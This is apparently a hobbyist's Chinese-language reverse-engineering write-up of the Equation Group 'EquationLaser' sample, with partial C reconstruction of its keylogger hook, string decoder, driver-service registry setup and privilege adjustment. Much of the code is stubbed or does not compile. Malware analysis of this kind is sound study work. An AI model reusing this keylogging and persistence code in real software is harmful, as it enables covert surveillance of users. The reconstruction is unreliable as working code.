EquationLaser是方程式样本中的较早,从它的编程应用技巧的"古老"程度可以看出来,当然对于我这种编程经验比较欠缺的爱好者还是值得学习研究一下的.它会收集一些系统信息,键盘记录等。本来在资源里有个驱动文件,但是样本里的驱动已经释放出去,数据全为零,所以主要的功能应该还没分析到。
（仅供参考）
#include"stdafx.h"
#include<stdio.h>
#include<aclapi.h>
#include<process.h>
#include<winsock2.h>
#include<winuser.h>
#include<winnt.h>
#include<windows.h>
WORD MaxUdpDg=0;//word_100509c0
DWORD dword_69f84,dword_69f88,dword_1f74c,dword_1f750,dword_1f754,dword_6a010;
LONG Addend=0;
bool IsDeviceOpen=false,IsExitWinNeeded;
HANDLE hDevice=INVALID_HANDLE_VALUE,hHandle=INVALID_HANDLE_VALUE,hThread=INVALID_HANDLE_VALUE,hmod=INVALID_HANDLE_VALUE;
OSVERSIONINFOA Size;
HHOOK hhk[3];
char mailslot_name[0x30]="\\\\.\\mailslot\\__MS_1509_";
char Name[4076];
typedef bool(WINAPI *_OpenProcessToken)(HANDLE ProcessHandle,DWORD DesiredAccess,PHANDLE TokenHandle);
typedef bool(WINAPI *_LookupPrivilegeValue)(LPCTSTR lpSystemBame,LPCTSTR lpName,PLUID lpLuid);
typedef bool(WINAPI *_AdjustTokenPrivileges)(HANDLE TokenHandle,BOOL DisableAllPrivileges,PTOKEN_PRIVILEGES NewState,
DWORD BufferLength,PTOKEN_PRIVILEGES PreviousState,PDWORD ReturnLength);
typedef DWORD(WINAPI *_SetSecurityInfo)(HANDLE handle,SE_OBJECT_TYPE ObjectType,SECURITY_INFORMATION SecurityInfo,
PSID psidOwner,PSID psidGroup,PACL pDacl,PACL pSacl);
int version_info();
int OpenServiceManager();
void compute_seed(int *a,int *b,int *c);
void ShutdownPrivilege();
unsigned int _stdcall NewThread(LPVOID para);
LRESULT fn(int code,WPARAM wParam,LPARAM lParam);
BOOL APIENTRY DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH://1
{
if(version_info()==0)
{
if(Addend==0)
{
hThread=(HANDLE)_beginthreadex(0,0x100000,&NewThread,0,0,0);
if(hThread!=NULL)
{
IsExitWinNeeded=false;
}
else
{
return true;
}
}
hmod=hinstDLL;
InterlockedIncrement(&Addend);
}
break;
}
/*
case DLL_THREAD_ATTACH://2
{
break;
}
case DLL_THREAD_DETACH://3
{
break;
}
*/
case DLL_PROCESS_DETACH://0
{
//
if(version_info()==0)
{
InterlockedDecrement(&Addend);
if(Addend==0)
{
//sub_1000f7fb
}
if(IsDeviceOpen!=false)
{
if(hDevice!=INVALID_HANDLE_VALUE)
{
CloseHandle(hDevice);
}
else
{
hDevice=NULL;
IsDeviceOpen=false;
}
}
ReleaseSemaphore(hHandle,7,0);
Sleep(0xbb8);
if(IsExitWinNeeded==false)
{
ShutdownPrivilege();
ExitWindows(6,0);
}
}
break;
}
}
return TRUE;
}
int version()
{
DWORD dwVersion=0;
DWORD dwMajorVersion=0;
DWORD dwMiniorVersion=0;
DWORD dwBuild=0;
dwVersion=GetVersion();
// printf("dwVersion:%8x\n",dwVersion);
//get windows version
dwMajorVersion=(DWORD)(LOBYTE(LOWORD(dwVersion)));
dwMiniorVersion=(DWORD)(HIBYTE(LOWORD(dwVersion)));
dwBuild=(DWORD)(HIWORD(dwVersion));
//printf("Version is %d.%d (%d)\n",dwMajorVersion,dwMiniorVersion,dwBuild);
if(dwVersion<0x80000000)
{
if(dwMajorVersion==3)
{
if(dwMiniorVersion>=0x32)
{
return 0;
}
else
{
return 1;
}
}
else
{
return 0;
}
}
else
{
if(dwMajorVersion>=4)
{
return 0;
}
else
{
return 1;
}
}
}
unsigned int _stdcall NewThread(LPVOID para)
{
//
SetThreadPriority(GetCurrentThread(),0);
SetErrorMode(0x8003);
Size.dwOSVersionInfoSize=0x94;
if(GetVersionExA(&Size)==1)
{
if(Size.dwOSVersionInfoSize==2)
{
dword_1f74c=1;
if(Size.dwMajorVersion==5)
{
dword_1f750=1;
}
}
else
{
if((Size.dwMajorVersion==4)&&(Size.dwMinorVersion==0x5a))
{
dword_1f754=1;
dword_1f74c=1;
}
else
{
dword_1f754=0;
}
}
}
if(dword_1f74c==1)
{
if(OpenServiceManager()!=0)
{
return 0;
}
}
/*
*/
return 0;
}
int OpenServiceManager()
{
SC_HANDLE sc_handle=INVALID_HANDLE_VALUE;
sc_handle=OpenSCManagerA(0,0,0xf003f);
if(sc_handle==INVALID_HANDLE_VALUE)
{
Sleep(0xea60);
OpenServiceManager();
}
CloseServiceHandle(sc_handle);
return 0;
}
void decode(char *string,int length)
{
int num_to_shift=3,a=0x9ea6,b=0x4f53,c=0x7,temp=0,i=0;
while(length)
{
compute_seed(&a,&b,&c);
temp=(string[i])&7;
string[i]=(a>>num_to_shift)^(string[i]);
num_to_shift=temp;
length--;
i++;
}
}
void compute_seed(int *a,int *b,int *c)
{
int temp=0,v=0;
v=temp=(8*(*a))|((*a)>>13);
*a^=*b;
*b=(*c)^(temp&(0xfff8));
*c=v&7;
}
int GetRegkeyReady()
{
char *Class;
int finished=0;
DWORD dwDisposition,data;
HKEY hkResult;
if(RegCreateKeyExA(HKEY_LOCAL_MACHINE/*0x80000002*/,"System\\CurrentControlSet\\Services\\Fdisk",0,Class,0,0x0f003f,
0,&hkResult,&dwDisposition)==0)
{
data=1;
if(RegSetValueEx(hkResult,"Type",0,4,&data,4)==0)
{
data=3;
if(RegSetValueEx(hkResult,"Start",0,4,&data,4)==0)
{
data=0;
if(RegSetValueEx(hkResult,"ErrorControl",0,4,&data,4)==0)
{
finished=1;
}
}
}
RegCloseKey(hkResult);
}
return finished;
}
bool load_driver_get_handle()
{
/*
1,get load driver privilege
2,get address of NtLoadDriver(IN PUNICODE_STRING DriverServiceName)
3,load driver by call NtLoadDriver(\Registry\Machine\System\CurrentControlSet\Services\Fdisk)
*/
hDevice=CreateFileA("\\.\fdisk0",0xc0000000,0,0,3,0x80,0);
return hDevice==INVALID_HANDLE_VALUE?0:1;
}
bool device_io_control_2224d8()
{
DWORD ByteReturned=0;
if(Size.dwPlatformId==VER_PLATFORM_WIN32_NT)
{
if(hDevice!=INVALID_HANDLE_VALUE)
{
if(false==DeviceIoControl(hDevice,0x2224d8,0,0,0,0,&ByteReturned,0))
{
return false;
}
}
else
{
return false;
}
}
}
DWORD get_hardware_info(DWORD address)//get some hardware information
{
DWORD num1,num2,num3;
/*
mov dx,0cf8h
in eax,dx
mov num2,eax
mov ecx,address
mov num1,0cf8h
mov eax,ecx
and al,0fch
mov address,eax
out dx,eax
and ecx,3
add ecx,0cfch
mov address,ecx
mov dx,address
in eax,dx
mov num1,eax
mov ecx,num2
mov num2,0cf8h
and ecx,0fffffffch
mov address,ecx
mov dx,num2
mov eax,address
out dx,eax
;
mov eax,num1
*/
}
bool check_version()//VER_PLATFORM_WIN32_NT
{
OSVERSIONINFOA version_info;
version_info.dwOSVersionInfoSize=0x94;
if(dword_69f84!=0)
{
if(0!=GetVersionExA(&version_info))
{
MessageBoxA(NULL,"Failed to get Windows version",NULL,NULL);
exit(2);
}
else
{
if(VER_PLATFORM_WIN32_NT==version_info)
{
dword_69f84=1;
dword_69f88=1;
}
else
{
dword_69f88=0;
}
}
}
return dword_69f88;
}
void ShutdownPrivilege()//SeLoadDriverPrivilege
{
int ret=0;
HMODULE hObject;
HANDLE handle;
LUID l_luid={0};
TOKEN_PRIVILEGES l_token_privilege={0};
_OpenProcessToken l_OpenProcessToken;
_LookupPrivilegeValue l_LookupPrivilegeValue;
_AdjustTokenPrivileges l_AdjustTokenPrivileges;
hObject=LoadLibrary("ADVAPI32.DLL");
if(hObject!=NULL)
{
l_OpenProcessToken=(_OpenProcessToken)GetProcAddress(hObject,"OpenProcessToken");
if(l_OpenProcessToken!=0)
{
l_LookupPrivilegeValue=(_LookupPrivilegeValue)GetProcAddress(hObject,"LookupPrivilegeValue");
if(l_LookupPrivilegeValue!=0)
{
l_AdjustTokenPrivileges=(_AdjustTokenPrivileges)GetProcAddress(hObject,"AdjustTokenPrivileges");
if(l_AdjustTokenPrivileges!=0)
{
if(l_OpenProcessToken(GetCurrentProcess(),0x28,&handle)==true)
{
if(l_LookupPrivilegeValue(0,"SeShutdownDriverPrivilege",&l_luid)==true)
{
l_token_privilege.Privileges->Luid.HighPart=l_luid.HighPart;
l_token_privilege.Privileges->Luid.LowPart=l_luid.LowPart;
l_token_privilege.Privileges->Attributes=SE_PRIVILEGE_ENABLED;
l_token_privilege.PrivilegeCount=1;
l_AdjustTokenPrivileges(handle,false,&l_token_privilege,0x10,0,0);
//if(GetLastError()==0)
//{
// if(handle!=NULL)
// CloseHandle(handle);
// FreeLibrary(hObject);
//}
}
}
}
}
}
}
if(handle!=NULL)
CloseHandle(handle);
if(hObject!=NULL)
FreeLibrary(hObject);
}
int _WSAStartup(WORD wVersionRequested,char socket_num)
{
WSAData wsaData;
if(0!=WSAStartup(wVersionRequested,&wsaData))
{
return 1;
}
if(LOBYTE(wsaData.wVersion)<LOBYTE(wVersionRequested)||HIBYTE(wsaData.wVersion)<HIBYTE(wVersionRequested))
{
return 1;
}
else if(LOBYTE(wsaData.wVersion)!=LOBYTE(wVersionRequested)||(LOBYTE(wsaData.wVersion)==LOBYTE(wVersionRequested)&&HIBYTE(wsaData.wVersion)>=HIBYTE(wVersionRequested)))
{
if(wsaData.iMaxSockets<socket_num)
{
return 1;
}
MaxUdpDg=wsaData.iMaxUdpDg;
return 0;
}
}
int windows_hook(char *lpszDesktop,int hhook_num,int set_or_unset)
{
int ret=0;
HWINSTA hWinSta=NULL;
HWINSTA hWinSta0=NULL;
HDESK hDesktop=NULL;
do
{
hWinSta=GetProcessWindowStation();
if(hWinSta==NULL)
{
ret=0;
break;
}
hDesktop=GetThreadDesktop(GetCurrentThreadId());
if(hDesktop==NULL)
{
ret=0;
break;
}
hWinSta0=OpenWindowStationA("winsta0",false,WINSTA_ALL_ACCESS);
if(hWinSta0==NULL)
{
ret=0;
break;
}
if(false==SetProcessWindowStation(hWinSta0))
{
ret=0;
break;
}
lpszDesktop=OpenDesktopA(lpszDesktop,0,false,MAXIMUM_ALLOWED);
if(lpszDesktop==NULL)
{
ret=0;
break;
}
if(false==SetThreadDesktop(lpszDesktop))
{
ret=0;
break;
}
if(set_or_unset==0)
{
unset_hook();
}
else
{
if(0==set_hook(hhook_num))
{
ret=0;
break;
}
}
if(0==SetProcessWindowStation(hWinSta)||0==SetThreadDesktop(hDesktop)||CloseWindowStation(hWinSta0))
{
ret=CloseDesktop(lpszDesktop)?1:0;
}
}while(0);
return ret;
}
int set_hook(int hhook_num)//record key stroke
{
HHOOK hook=NULL;
Sleep(0);
hook=SetWindowsHookExA(WH_KEYBOARD,(HOOKPROC)fn,hmod,0);
InterlockedExchange(hhk+hhook_num,hook);
return hhk[hhook_num]?1:0;
}
void unset_hook(int hhook_num)
{
if(hhk[hhook_num]!=NULL)
{
Sleep(0);
UnhookWindowsHookEx(hhk[hhook_num]);
hhk[hhook_num]=NULL;
}
}
LRESULT fn(int code,WPARAM wParam,LPARAM lParam)
{
return record(hhk,code,wParam,lParam);
}
int record(HHOOK hhk,int code,WPARAM wParam,LPARAM lParam)
{
HANDLE file=INVALID_HANDLE_VALUE;
DWORD NumberOfBytesWritten=0;
WORD buffer[3]={0};
LONG result=0;
result=CallnextHookEx(hhk,code,wParam,lParam);
if(code==0)
{
if(dword_6a010!=0)
{
buffer[0]=GetCurrentProcessId();
buffer[1]=wParam;
buffer[2]=lParam; //0X40000000 1 3
file=CreateFile(Name,GENERIC_WRITE,FILE_SHARE_DELETE,null,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(INVALID_HANDLE_VALUE==file)
{
dword_6a010=0;
}
if(true==WriteFile(file,buffer,8,&NumberOfBytesWritten,NULL))
{
CloseHandle(file);
dword_6a010=1;
}
}
}
return result;
}
DWORD WINAPI do_read_mailslot(LPARAM lParam)
{
char buffer[0x50];
DWORD bytes_num=0,nNumberOfBytesToWrite;
HANDLE hObject=INVALID_HANDLE_VALUE;
HANDLE hMailslot=INVALID_HANDLE_VALUE;//4
HMODULE hModule=INVALID_HANDLE_VALUE;
_SetSecurityInfo l_SetSecurityInfo=NULL;
hObject=CreateFile((char *)lParam+0x2c0,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_ALWAYS,NULL,NULL);
if(INVALID_HANDLE_VALUE!=hObject)
{
bytes_num=SetFilePointer(hObject,0,NULL,FILE_END);
if(bytes_num>*(DWORD *)((PVOID)lParam+0x2bc))
{
CloseHandle(hObject);
Clean_hook_and_key(lParam);
_endthreadex(1);
return 0;
}
lstrcpynA(Name,mailslot_name,0x103);
hMailslot=CreateMailslotA(Name,0,0,NULL);
if(INVALID_HANDLE_VALUE==hMailslot)
{
CloseHandle(hObject);
clean_hook_and_key(lParam);
_endthreadex(1);
}
if(0!=dword_1f74c)
{
hModule=LoadLibraryA("advapi32.dll");
if(hModule)
{
l_SetSecurityInfo=(_SetSecurityInfo)GetProcAddress(hModule,"SetSecurityInfo");
if(NULL!=l_SetSecurityInfo)
{ //6
if(ERROR_SUCCESSW==l_SetSecurityInfo(hMailslot,SE_KERNEL_OBJECT,PROCESS_SET_SESSIONID,NULL,NULL,NULL,NULL))
{
nNumberOfBytesToWrite=0;
dword_6a010=1;
do
{
nNumberOfBytesToWrite=0x50;
if(0!=read_mailslot(hMailslot,buffer,&nNumberOfBytesToWrite))
{
if(nNumberOfBytesToWrite>0)
{
if(true==WriteFile(hObject,buffer,nNumberOfBytesToWrite,NULL,NULL))
{
bytes_num+=nNumberOfBytesToWrite;
if(nNumberOfBytesToWrite>=*(DWORD *)((char *)lParam+0x2bc))
{
dword_6a010=0;
}
}
}
}
else
{
dword_6a010=0;
}
Sleep(0xfa);
}while(dword_6a010);
CloseHandle(hObject);
CloseHandle(hMailslot);
clean_hook_and_key(lParam);
return 0;
}
}
}
}
}
else
{
Clean_hook_and_key(lParam);
_endthreadex(1);
return 0;
}
}
bool check_root_drive_info(char lpRootPathName)
{
DWORD FileSystemFlags;
DWORD MaximumComponentLength;
char FileSystemNameBuffer[MAX_PATH];
if(GetVolumeInformation(lpRootPathName,NULL,0,NULL,&MaximumComponentLength,&FileSystemFlags,MAX_PATH,FileSystemNameBuffer))
{
if(0==lstrcmpA(FileSystemNameBuffer,"NTFS")&&FileSystemFlags==FILE_PERSISTENT_ACLS)
{
/*
FILE_PERSISTENT_ACLS,The specified volume preserves and enforces
access control lists(ACL).For example,the NTFS file system preserves
and enforces ACLs,and the FAT file system does not.
*/
return true;
}
}
return false;
}
int select(DWORD optlen)
{
fd_set writefds;
fd_set exceptfds;
char* optval=NULL;
timeval timeout;
writefds.fd_count=1;
writefds.fd_array=sock;
exceptfds.fd_count=1;
exceptfds.fd_array=sock;
if(optlen>0x3e8)
{
timeout.tv_usec=0;
timeout.tv_sec=optlen/0x3e8;
}
else
{
timeout.tv_usec=0;
timeout.tv_sec=0x3e8*optlen;
}
if(1=select(0,NULL,&writefds,&exceptfds,&timeout))
{
if(0==_WSAFDIsSet(sock,&exceptfds))
{
return _WSAFDIsSet(sock,&writefds)>0?1:0;
}
}
else
{
optlen=4;
return getsockopt(sock,SOL_SOCKET,SO_ERROR,(char*)&optval,&optlen)|0xff;
}
}
void clean_hook_and_key(void* lparam)
{
/*
*/
}
![在DOS下运行不了ipconfig命令[图]](data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=)